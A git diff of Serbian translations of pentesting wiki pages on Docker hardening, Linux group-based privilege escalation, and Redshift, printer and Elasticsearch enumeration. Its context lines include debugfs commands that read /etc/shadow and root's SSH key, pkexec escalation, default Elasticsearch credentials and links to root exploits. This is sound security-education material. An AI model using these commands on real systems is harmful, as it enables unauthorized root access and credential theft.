Slike kontejnera mogu biti smeštene u privatnim ili javnim repozitorijumima. Do - [**Docker Hub**](https://hub.docker.com): Javni registar usluga od Docker-a. - [**Docker Registry**](https://github.com/docker/distribution): Open-source projekat koji omogućava korisnicima da hostuju svoj registar. -- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Komercijalna ponuda Docker-ovog registra, sa autentifikacijom korisnika zasnovanom na rolama i integracijom sa LDAP servisima. +- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Komercijalna ponuda Docker-ovog registra, koja sadrži autentifikaciju korisnika zasnovanu na rolama i integraciju sa LDAP servisima. ### Skener slika @@ -96,7 +96,7 @@ U kontejnerizovanim okruženjima, izolacija projekata i njihovih procesa je od s **Namespaces** -- **Svrha**: Osiguranje izolacije resursa kao što su procesi, mreža i fajl sistemi. Posebno u Docker-u, namespaces drže procese kontejnera odvojene od hosta i drugih kontejnera. +- **Svrha**: Osiguranje izolacije resursa kao što su procesi, mreža i fajl sistemi. Posebno u Docker-u, namespaces drže procese kontejnera odvojenim od hosta i drugih kontejnera. - **Korišćenje `unshare`**: Komanda `unshare` (ili osnovni syscall) se koristi za kreiranje novih namespaces, pružajući dodatni sloj izolacije. Međutim, dok Kubernetes to ne blokira inherentno, Docker to čini. - **Ograničenje**: Kreiranje novih namespaces ne omogućava procesu da se vrati na podrazumevane namespaces hosta. Da bi se penetriralo u namespaces hosta, obično bi bilo potrebno pristupiti hostovom `/proc` direktorijumu, koristeći `nsenter` za ulazak. @@ -117,7 +117,7 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca **Seccomp** Omogućeno je po defaultu u Dockeru. Pomaže da se **dodatno ograniče syscalls** koje proces može pozvati.\ -**Default Docker Seccomp profil** može se naći na [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) +**Default Docker Seccomp profil** može se pronaći na [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) **AppArmor** @@ -129,7 +129,7 @@ Ovo će omogućiti smanjenje sposobnosti, syscalls, pristupa datotekama i folder ### Namespaces -**Namespaces** su funkcija Linux kernela koja **particionira kernel resurse** tako da jedan skup **procesa** **vidi** jedan skup **resursa** dok **drugi** skup **procesa** vidi **drugačiji** skup resursa. Funkcija radi tako što ima isti namespace za skup resursa i procesa, ali ti namespaces se odnose na različite resurse. Resursi mogu postojati u više prostora. +**Namespaces** su funkcija Linux kernela koja **particionira kernel resurse** tako da jedan skup **procesa** **vidi** jedan skup **resursa** dok **drugi** skup **procesa** vidi **drugačiji** skup resursa. Funkcija radi tako što ima isti namespace za skup resursa i procesa, ali ti namespace-ovi se odnose na različite resurse. Resursi mogu postojati u više prostora. Docker koristi sledeće Linux kernel Namespaces za postizanje izolacije kontejnera: @@ -148,7 +148,7 @@ namespaces/ ### cgroups Funkcija Linux kernela **cgroups** pruža mogućnost da **ograniči resurse kao što su cpu, memorija, io, propusnost mreže među** skupom procesa. Docker omogućava kreiranje kontejnera koristeći cgroup funkciju koja omogućava kontrolu resursa za specifični kontejner.\ -Sledeći je kontejner kreiran sa memorijom korisničkog prostora ograničenom na 500m, memorijom kernela ograničenom na 50m, deljenjem cpu na 512, blkioweight na 400. Deljenje CPU je odnos koji kontroliše korišćenje CPU kontejnera. Ima podrazumevanu vrednost od 1024 i opseg između 0 i 1024. Ako tri kontejnera imaju isto deljenje CPU od 1024, svaki kontejner može uzeti do 33% CPU u slučaju sukoba resursa CPU. blkio-weight je odnos koji kontroliše IO kontejnera. Ima podrazumevanu vrednost od 500 i opseg između 10 i 1000. +Sledeći je kontejner kreiran sa memorijom korisničkog prostora ograničenom na 500m, memorijom kernela ograničenom na 50m, deljenjem cpu na 512, blkioweight na 400. Deljenje CPU je odnos koji kontroliše korišćenje CPU-a kontejnera. Ima podrazumevanu vrednost od 1024 i opseg između 0 i 1024. Ako tri kontejnera imaju isto deljenje CPU od 1024, svaki kontejner može uzeti do 33% CPU-a u slučaju sukoba resursa CPU-a. blkio-weight je odnos koji kontroliše IO kontejnera. Ima podrazumevanu vrednost od 500 i opseg između 10 i 1000. ``` docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash ``` @@ -286,11 +286,11 @@ Da biste iskoristili BuildKit, može se aktivirati na tri načina: 2. Prefiksiranjem komandi: `DOCKER_BUILDKIT=1 docker build .` 3. Omogućavanjem po defaultu u Docker konfiguraciji: `{ "features": { "buildkit": true } }`, nakon čega sledi restart Dockera. -BuildKit omogućava korišćenje tajni u vreme izgradnje sa opcijom `--secret`, osiguravajući da ove tajne nisu uključene u keš izgradnje slike ili u finalnu sliku, koristeći komandu kao što je: +BuildKit omogućava korišćenje tajni u vreme izgradnje sa opcijom `--secret`, osiguravajući da ove tajne nisu uključene u keš izgradnje slike ili u konačnu sliku, koristeći komandu kao što je: ```bash docker build --secret my_key=my_value ,src=path/to/my_secret_file . ``` -Za tajne potrebne u pokrenutom kontejneru, **Docker Compose i Kubernetes** nude robusna rešenja. Docker Compose koristi `secrets` ključ u definiciji servisa za specificiranje tajnih fajlova, kao što je prikazano u `docker-compose.yml` primeru: +Za tajne potrebne u aktivnom kontejneru, **Docker Compose i Kubernetes** nude robusna rešenja. Docker Compose koristi `secrets` ključ u definiciji servisa za specificiranje tajnih fajlova, kao što je prikazano u `docker-compose.yml` primeru: ```yaml version: "3.7" services: @@ -311,28 +311,32 @@ U Kubernetes okruženjima, tajne su nativno podržane i mogu se dodatno upravlja **gVisor** je aplikacioni kernel, napisan u Go, koji implementira značajan deo Linux sistemske površine. Uključuje [Open Container Initiative (OCI)](https://www.opencontainers.org) runtime pod nazivom `runsc` koji pruža **granicu izolacije između aplikacije i host kernela**. `runsc` runtime se integriše sa Docker-om i Kubernetes-om, što olakšava pokretanje sandboxed kontejnera. -{% embed url="https://github.com/google/gvisor" %} +{{#ref}} +https://github.com/google/gvisor +{{#endref}} ### Kata Containers **Kata Containers** je zajednica otvorenog koda koja radi na izgradnji sigurnog kontejnerskog runtime-a sa laganim virtuelnim mašinama koje se ponašaju i performiraju kao kontejneri, ali pružaju **jaču izolaciju radnog opterećenja koristeći tehnologiju hardverske virtualizacije** kao drugu liniju odbrane. -{% embed url="https://katacontainers.io/" %} +{{#ref}} +https://katacontainers.io/ +{{#endref}} -### Saveti za rezime +### Sažetak Saveta - **Ne koristite `--privileged` flag ili montirajte** [**Docker socket unutar kontejnera**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Docker socket omogućava pokretanje kontejnera, tako da je to lak način da preuzmete potpunu kontrolu nad hostom, na primer, pokretanjem drugog kontejnera sa `--privileged` flag-om. - **Ne pokrećite kao root unutar kontejnera. Koristite** [**drugog korisnika**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **i** [**user namespaces**](https://docs.docker.com/engine/security/userns-remap/)**.** Root u kontejneru je isti kao na hostu osim ako nije premapiran sa user namespaces. Samo je blago ograničen, prvenstveno, Linux namespaces, sposobnostima i cgroups. -- [**Uklonite sve sposobnosti**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) i omogućite samo one koje su potrebne** (`--cap-add=...`). Mnoge radne opterećenja ne zahtevaju nikakve sposobnosti i njihovo dodavanje povećava opseg potencijalnog napada. -- [**Koristite opciju bez novih privilegija**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) kako biste sprečili procese da dobiju više privilegija, na primer kroz suid binarne datoteke. +- [**Uklonite sve sposobnosti**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) i omogućite samo one koje su potrebne** (`--cap-add=...`). Mnogim radnim opterećenjima nisu potrebne sposobnosti i njihovo dodavanje povećava opseg potencijalnog napada. +- [**Koristite opciju bez novih privilegija**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) da sprečite procese da dobiju više privilegija, na primer kroz suid binarne datoteke. - [**Ograničite resurse dostupne kontejneru**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Ograničenja resursa mogu zaštititi mašinu od napada uskraćivanja usluga. -- **Prilagodite** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(ili SELinux)** profile kako biste ograničili radnje i syscalls dostupne kontejneru na minimum potreban. +- **Prilagodite** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(ili SELinux)** profile da ograničite radnje i syscalls dostupne za kontejner na minimum potreban. - **Koristite** [**službene docker slike**](https://docs.docker.com/docker-hub/official_images/) **i zahtevajte potpise** ili izgradite svoje na osnovu njih. Ne nasleđujte ili koristite [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) slike. Takođe, čuvajte root ključeve, lozinke na sigurnom mestu. Docker planira da upravlja ključevima sa UCP. -- **Redovno** **ponovo izgradite** svoje slike kako biste **primenili bezbednosne zakrpe na host i slike.** +- **Redovno** **ponovo izgradite** svoje slike da **primenite bezbednosne zakrpe na host i slike.** - Pametno upravljajte svojim **tajnama** kako bi napadaču bilo teško da im pristupi. - Ako **izlažete docker daemon koristite HTTPS** sa autentifikacijom klijenta i servera. - U vašem Dockerfile-u, **favorizujte COPY umesto ADD**. ADD automatski ekstraktuje zipovane datoteke i može kopirati datoteke sa URL-ova. COPY nema te mogućnosti. Kada god je to moguće, izbegavajte korišćenje ADD kako ne biste bili podložni napadima putem udaljenih URL-ova i zip datoteka. -- Imate **odvojene kontejnere za svaku mikro** uslugu. +- Imate **odvojene kontejnere za svaku mikro-s**lužbu. - **Ne stavljajte ssh** unutar kontejnera, “docker exec” se može koristiti za ssh u kontejner. - Imate **manje** slike **kontejnera**. @@ -355,7 +359,7 @@ authz-and-authn-docker-access-authorization-plugin.md ## Ojačavanje Dockera - Alat [**docker-bench-security**](https://github.com/docker/docker-bench-security) je skripta koja proverava desetine uobičajenih najboljih praksi oko implementacije Docker kontejnera u produkciji. Testovi su svi automatizovani i zasnovani su na [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\ -Morate pokrenuti alat sa hosta koji pokreće docker ili iz kontejnera sa dovoljno privilegija. Saznajte **kako ga pokrenuti u README-u:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security). +Morate pokrenuti alat sa hosta koji pokreće docker ili iz kontejnera sa dovoljno privilegija. Saznajte **kako ga pokrenuti u README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security). ## Reference diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md index 5eed71d3d..abbab7898 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md @@ -1,12 +1,12 @@ -# Interesting Groups - Linux Privesc +# Zanimljive Grupe - Linux Privesc {{#include ../../../banners/hacktricks-training.md}} -## Sudo/Admin Groups +## Sudo/Admin Grupe -### **PE - Method 1** +### **PE - Metod 1** -**Ponekad**, **po defaultu (ili zato što neki softver to zahteva)** unutar **/etc/sudoers** datoteke možete pronaći neke od ovih linija: +**Ponekad**, **po defaultu (ili zato što neki softver to zahteva)** unutar **/etc/sudoers** fajla možete pronaći neke od ovih linija: ```bash # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL @@ -26,7 +26,7 @@ Pronađite sve suid binarne datoteke i proverite da li postoji binarna datoteka ```bash find / -perm -4000 2>/dev/null ``` -Ako otkrijete da je binarni fajl **pkexec SUID binarni fajl** i da pripadate grupi **sudo** ili **admin**, verovatno možete izvršavati binarne fajlove kao sudo koristeći `pkexec`.\ +Ako otkrijete da je binarni fajl **pkexec SUID binarni fajl** i da pripadate grupi **sudo** ili **admin**, verovatno biste mogli da izvršavate binarne fajlove kao sudo koristeći `pkexec`.\ To je zato što su obično to grupe unutar **polkit politike**. Ova politika u suštini identifikuje koje grupe mogu koristiti `pkexec`. Proverite to sa: ```bash cat /etc/polkit-1/localauthority.conf.d/* @@ -72,13 +72,13 @@ Korisnici iz **grupe shadow** mogu **čitati** **/etc/shadow** datoteku: ``` -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` -Тако, прочитајте датотеку и покушајте да **разбијете неке хешеве**. +Тако да, прочитајте датотеку и покушајте да **разбијете неке хешеве**. ## Група особља -**staff**: Омогућава корисницима да додају локалне модификације систему (`/usr/local`) без потребе за root привилегијама (имајте на уму да су извршни фајлови у `/usr/local/bin` у PATH променљивој сваког корисника, и могу "преписати" извршне фајлове у `/bin` и `/usr/bin` са истим именом). Упоредите са групом "adm", која је више повезана са мониторингом/безбедношћу. [\[source\]](https://wiki.debian.org/SystemGroups) +**staff**: Омогућава корисницима да додају локалне модификације систему (`/usr/local`) без потребе за root привилегијама (имајте на уму да су извршне датотеке у `/usr/local/bin` у PATH променљивој сваког корисника, и могу "преписати" извршне датотеке у `/bin` и `/usr/bin` са истим именом). Упоредите са групом "adm", која је више повезана са мониторингом/безбедношћу. [\[source\]](https://wiki.debian.org/SystemGroups) -У дебијан дистрибуцијама, `$PATH` променљива показује да ће `/usr/local/` бити покренут као највиша приоритет, без обзира да ли сте привилеговани корисник или не. +У дебијан дистрибуцијама, променљива `$PATH` показује да ће `/usr/local/` бити покренута као највиша приоритетна, без обзира да ли сте привилеговани корисник или не. ```bash $ echo $PATH /usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games @@ -141,7 +141,7 @@ debugfs: ls debugfs: cat /root/.ssh/id_rsa debugfs: cat /etc/shadow ``` -Napomena: korišćenjem debugfs možete takođe **pisati fajlove**. Na primer, da kopirate `/tmp/asd1.txt` u `/tmp/asd2.txt` možete uraditi: +Napomena da pomoću debugfs možete takođe **pisati fajlove**. Na primer, da kopirate `/tmp/asd1.txt` u `/tmp/asd2.txt` možete uraditi: ```bash debugfs -w /dev/sda1 debugfs: dump /tmp/asd1.txt /tmp/asd2.txt @@ -167,7 +167,7 @@ Da biste **otvorili** **sirovu sliku**, možete koristiti **GIMP**, odabrati **` ![](<../../../images/image (463).png>) -Zatim promenite Širinu i Visinu na one koje koristi ekran i proverite različite Tipove slika (i odaberite onaj koji bolje prikazuje ekran): +Zatim promenite Širinu i Visinu na one koje se koriste na ekranu i proverite različite Tipove slika (i odaberite onaj koji bolje prikazuje ekran): ![](<../../../images/image (317).png>) @@ -199,11 +199,15 @@ Na kraju, ako vam se ne sviđaju neki od prethodnih predloga, ili ne rade iz nek ../docker-security/ {{#endref}} -Ako imate dozvole za pisanje preko docker socket-a, pročitajte [**ovaj post o tome kako eskalirati privilegije zloupotrebom docker socket-a**](../#writable-docker-socket)**.** +Ako imate dozvole za pisanje preko docker socket-a pročitajte [**ovaj post o tome kako eskalirati privilegije zloupotrebom docker socket-a**](../#writable-docker-socket)**.** -{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} +{{#ref}} +https://github.com/KrustyHack/docker-privilege-escalation +{{#endref}} -{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %} +{{#ref}} +https://fosterelli.co/privilege-escalation-via-docker.html +{{#endref}} ## lxc/lxd Grupa @@ -218,7 +222,7 @@ Stoga, ako ste kompromitovali korisnika unutar ove grupe, definitivno biste treb ## Auth grupa -Unutar OpenBSD, **auth** grupa obično može da piše u foldere _**/etc/skey**_ i _**/var/db/yubikey**_ ako se koriste.\ -Ove dozvole se mogu zloupotrebiti sa sledećim eksploatom da bi se **eskalirale privilegije** na root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) +Unutar OpenBSD **auth** grupa obično može da piše u foldere _**/etc/skey**_ i _**/var/db/yubikey**_ ako se koriste.\ +Ove dozvole se mogu zloupotrebiti sa sledećim exploit-om da bi se **eskalirale privilegije** na root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md index eb5f45070..3afb4cf0a 100644 --- a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md +++ b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md @@ -1,11 +1,10 @@ {{#include ../../banners/hacktricks-training.md}} - # Sudo/Admin Grupe ## **PE - Metod 1** -**Ponekad**, **po defaultu \(ili zato što neka softverska rešenja to zahtevaju\)** unutar **/etc/sudoers** fajla možete pronaći neke od ovih linija: +**Ponekad**, **po defaultu \(ili zato što neki softver to zahteva\)** unutar **/etc/sudoers** fajla možete pronaći neke od ovih linija: ```bash # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL @@ -30,7 +29,7 @@ Proverite sadržaj: ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` -Tamo ćete pronaći koje grupe imaju dozvolu da izvrše **pkexec** i **po defaultu** u nekim linux distribucijama mogu **pojaviti** neke od grupa **sudo ili admin**. +Tamo ćete pronaći koje grupe imaju dozvolu da izvrše **pkexec** i **po defaultu** u nekim linux sistemima mogu **pojaviti** neke od grupa **sudo ili admin**. Da **postanete root možete izvršiti**: ```bash @@ -71,13 +70,13 @@ Korisnici iz **grupe shadow** mogu **čitati** **/etc/shadow** datoteku: ```text -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` -Dakle, pročitajte datoteku i pokušajte da **provalite neke hash-e**. +Тако да, прочитајте датотеку и покушајте да **разбијете неке хешеве**. -# Disk Grupa +# Диск Група -Ova privilegija je gotovo **ekvivalentna root pristupu** jer možete pristupiti svim podacima unutar mašine. +Ова привилегија је скоро **еквивалентна root приступу** јер можете приступити свим подацима унутар машине. -Datoteke: `/dev/sd[a-z][1-9]` +Фајлови: `/dev/sd[a-z][1-9]` ```text debugfs /dev/sda1 debugfs: cd /root @@ -127,13 +126,16 @@ find / -group root -perm -g=w 2>/dev/null Možete montirati root datotečni sistem host mašine na volumen instance, tako da kada se instanca pokrene, odmah učitava `chroot` u taj volumen. Ovo vam efektivno daje root pristup na mašini. -{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} +{{#ref}} +https://github.com/KrustyHack/docker-privilege-escalation +{{#endref}} -{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %} +{{#ref}} +https://fosterelli.co/privilege-escalation-via-docker.html +{{#endref}} # lxc/lxd Grupa [lxc - Eskalacija privilegija](lxd-privilege-escalation.md) - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/misc/references.md b/src/misc/references.md index 9e5dd6281..eb3792a1f 100644 --- a/src/misc/references.md +++ b/src/misc/references.md @@ -1,49 +1,95 @@ {{#include ../banners/hacktricks-training.md}} -{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %} +{{#ref}} +https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick +{{#endref}} -{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %} +{{#ref}} +https://hausec.com/pentesting-cheatsheet/#_Toc475368982 +{{#endref}} -{% embed url="https://anhtai.me/pentesting-cheatsheet/" %} +{{#ref}} +https://anhtai.me/pentesting-cheatsheet/ +{{#endref}} -{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %} +{{#ref}} +https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html +{{#endref}} -{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %} +{{#ref}} +https://ired.team/offensive-security-experiments/offensive-security-cheetsheets +{{#endref}} -{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %} +{{#ref}} +https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html +{{#endref}} -{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %} +{{#ref}} +https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md +{{#endref}} -{% embed url="https://anhtai.me/oscp-fun-guide/" %} +{{#ref}} +https://anhtai.me/oscp-fun-guide/ +{{#endref}} -{% embed url="https://www.thehacker.recipes/" %} +{{#ref}} +https://www.thehacker.recipes/ +{{#endref}} -{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %} +{{#ref}} +https://github.com/swisskyrepo/PayloadsAllTheThings +{{#endref}} -{% embed url="https://gtfobins.github.io/" %} +{{#ref}} +https://gtfobins.github.io/ +{{#endref}} -{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %} +{{#ref}} +https://github.com/RistBS/Awesome-RedTeam-Cheatsheet +{{#endref}} -{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %} +{{#ref}} +https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet +{{#endref}} -{% embed url="https://hideandsec.sh/" %} +{{#ref}} +https://hideandsec.sh/ +{{#endref}} -{% embed url="https://cheatsheet.haax.fr/" %} +{{#ref}} +https://cheatsheet.haax.fr/ +{{#endref}} -{% embed url="https://infosecwriteups.com/" %} +{{#ref}} +https://infosecwriteups.com/ +{{#endref}} -{% embed url="https://www.exploit-db.com/" %} +{{#ref}} +https://www.exploit-db.com/ +{{#endref}} -{% embed url="https://wadcoms.github.io/" %} +{{#ref}} +https://wadcoms.github.io/ +{{#endref}} -{% embed url="https://lolbas-project.github.io" %} +{{#ref}} +https://lolbas-project.github.io +{{#endref}} -{% embed url="https://pentestbook.six2dez.com/" %} +{{#ref}} +https://pentestbook.six2dez.com/ +{{#endref}} -{% embed url="https://www.hackingarticles.in/" %} +{{#ref}} +https://www.hackingarticles.in/ +{{#endref}} -{% embed url="https://pentestlab.blog/" %} +{{#ref}} +https://pentestlab.blog/ +{{#endref}} -{% embed url="https://ippsec.rocks/" %} +{{#ref}} +https://ippsec.rocks/ +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/5439-pentesting-redshift.md b/src/network-services-pentesting/5439-pentesting-redshift.md index 61e2b1f3a..6aa635fbe 100644 --- a/src/network-services-pentesting/5439-pentesting-redshift.md +++ b/src/network-services-pentesting/5439-pentesting-redshift.md @@ -8,6 +8,8 @@ Ovaj port koristi **Redshift** za rad. To je u suštini AWS varijacija **Postgre Za više informacija proverite: -{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum" %} +{{#ref}} +https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/9100-pjl.md b/src/network-services-pentesting/9100-pjl.md index 4bbe58d4e..d4d1edbc0 100644 --- a/src/network-services-pentesting/9100-pjl.md +++ b/src/network-services-pentesting/9100-pjl.md @@ -2,7 +2,7 @@ # Osnovne informacije -Sa [ovde](http://hacking-printers.net/wiki/index.php/Port_9100_printing): Raw štampanje je ono što definišemo kao proces uspostavljanja veze sa portom 9100/tcp mrežnog štampača. To je podrazumevani metod koji koristi CUPS i Windows arhitektura štampanja za komunikaciju sa mrežnim štampačima, jer se smatra da je ‘_najjednostavniji, najbrži i generalno najpouzdaniji mrežni protokol korišćen za štampače_’. Raw port 9100 štampanje, takođe poznato kao JetDirect, AppSocket ili PDL-datastream zapravo **nije štamparski protokol samo po sebi**. Umesto toga, **svi podaci koji se šalju direktno se obrađuju od strane štampačkog uređaja**, baš kao paralelna veza preko TCP-a. U poređenju sa LPD, IPP i SMB, ovo može slati direktne povratne informacije klijentu, uključujući status i poruke o greškama. Takav **dvosmerni kanal** nam daje direktan **pristup** **rezultatima** **PJL**, **PostScript** ili **PCL** komandi. Stoga, raw port 9100 štampanje – koje podržava gotovo svaki mrežni štampač – se koristi kao kanal za analizu bezbednosti sa PRET i PFT. +Sa [ovde](http://hacking-printers.net/wiki/index.php/Port_9100_printing): Raw štampanje je ono što definišemo kao proces uspostavljanja veze sa portom 9100/tcp mrežnog štampača. To je podrazumevani metod koji koristi CUPS i Windows arhitektura štampanja za komunikaciju sa mrežnim štampačima, jer se smatra ‘_najjednostavnijim, najbržim i generalno najpouzdanijim mrežnim protokolom koji se koristi za štampače_’. Raw port 9100 štampanje, takođe poznato kao JetDirect, AppSocket ili PDL-datastream zapravo **nije protokol za štampanje sam po sebi**. Umesto toga, **svi podaci koji se šalju direktno se obrađuju od strane uređaja za štampanje**, baš kao paralelna veza preko TCP-a. U poređenju sa LPD, IPP i SMB, ovo može slati direktne povratne informacije klijentu, uključujući status i poruke o greškama. Takav **dvosmerni kanal** nam daje direktan **pristup** **rezultatima** **PJL**, **PostScript** ili **PCL** komandi. Stoga, raw port 9100 štampanje – koje podržava gotovo svaki mrežni štampač – se koristi kao kanal za analizu bezbednosti sa PRET i PFT. Ako želite da saznate više o [**hakovanju štampača pročitajte ovu stranicu**](http://hacking-printers.net/wiki/index.php/Main_Page). @@ -48,7 +48,9 @@ msf> use auxiliary/scanner/printer/printer_delete_file Ovo je alat koji želite da koristite za zloupotrebu štampača: -{% embed url="https://github.com/RUB-NDS/PRET" %} +{{#ref}} +https://github.com/RUB-NDS/PRET +{{#endref}} # **Shodan** diff --git a/src/network-services-pentesting/9200-pentesting-elasticsearch.md b/src/network-services-pentesting/9200-pentesting-elasticsearch.md index 788ca11c3..a9cabbb96 100644 --- a/src/network-services-pentesting/9200-pentesting-elasticsearch.md +++ b/src/network-services-pentesting/9200-pentesting-elasticsearch.md @@ -12,7 +12,7 @@ Elasticsearch **indeks** je kolekcija **povezanih dokumenata** pohranjenih kao * Elasticsearch koristi efikasnu strukturu podataka nazvanu **inverzni indeks** kako bi olakšao brza pretraživanja punog teksta. Ovaj indeks navodi svaku jedinstvenu reč u dokumentima i identifikuje dokumente u kojima se svaka reč pojavljuje. -Tokom procesa indeksiranja, Elasticsearch pohranjuje dokumente i konstruira inverzni indeks, omogućavajući pretraživanje gotovo u realnom vremenu. **Index API** se koristi za dodavanje ili ažuriranje JSON dokumenata unutar specifičnog indeksa. +Tokom procesa indeksiranja, Elasticsearch pohranjuje dokumente i konstruira inverzni indeks, omogućavajući gotovo pretraživanje u realnom vremenu. **Index API** se koristi za dodavanje ili ažuriranje JSON dokumenata unutar specifičnog indeksa. **Podrazumevani port**: 9200/tcp @@ -39,12 +39,12 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user" ```bash {"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401} ``` -To će značiti da je autentifikacija konfigurisana i **potrebne su vam važeće kredencijale** da biste dobili bilo kakve informacije iz elasticsearch-a. Zatim, možete [**pokušati da bruteforce-ujete**](../generic-hacking/brute-force.md#elasticsearch) (koristi HTTP basic auth, tako da se može koristiti bilo šta što BF HTTP basic auth može).\ +To znači da je autentifikacija konfigurisana i **potrebne su vam važeće kredencijale** da biste dobili bilo kakve informacije iz elasticsearch-a. Zatim, možete [**pokušati da bruteforce-ujete**](../generic-hacking/brute-force.md#elasticsearch) (koristi HTTP basic auth, tako da se može koristiti bilo šta što BF HTTP basic auth može).\ Evo vam **lista podrazumevanih korisničkih imena**: _**elastic** (superuser), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ Starije verzije Elasticsearch-a imaju podrazumevanu lozinku **changeme** za ovog korisnika. ``` curl -X GET http://user:password@IP:9200/ ``` -### Osnovna Enumeracija Korisnika +### Osnovna enumeracija korisnika ```bash #List all roles on the system: curl -X GET "ELASTICSEARCH-SERVER:9200/_security/role" @@ -100,7 +100,7 @@ green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0 yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb ``` -Da biste dobili **informacije o tome koja vrsta podataka je sačuvana unutar indeksa**, možete pristupiti: `http://host:9200/` iz primera u ovom slučaju `http://10.10.10.115:9200/bank` +Da biste dobili **informacije o tome koja vrsta podataka je sačuvana unutar indeksa**, možete pristupiti: `http://host:9200/` u ovom slučaju `http://10.10.10.115:9200/bank` ![](<../images/image (342).png>) @@ -151,7 +151,7 @@ Primetite kako se **novi indeks sada pojavljuje na listi**: ![](<../images/image (130).png>) -I obratite pažnju na **automatski kreirane osobine**: +I obratite pažnju na **automatski kreirane atribute**: ![](<../images/image (434).png>) @@ -161,11 +161,12 @@ Neki alati će dobiti neke od podataka prikazanih ranije: ```bash msf > use auxiliary/scanner/elasticsearch/indices_enum ``` -{% embed url="https://github.com/theMiddleBlue/nmap-elasticsearch-nse" %} +{{#ref}} +https://github.com/theMiddleBlue/nmap-elasticsearch-nse +{{#endref}} ## Shodan - `port:9200 elasticsearch` - 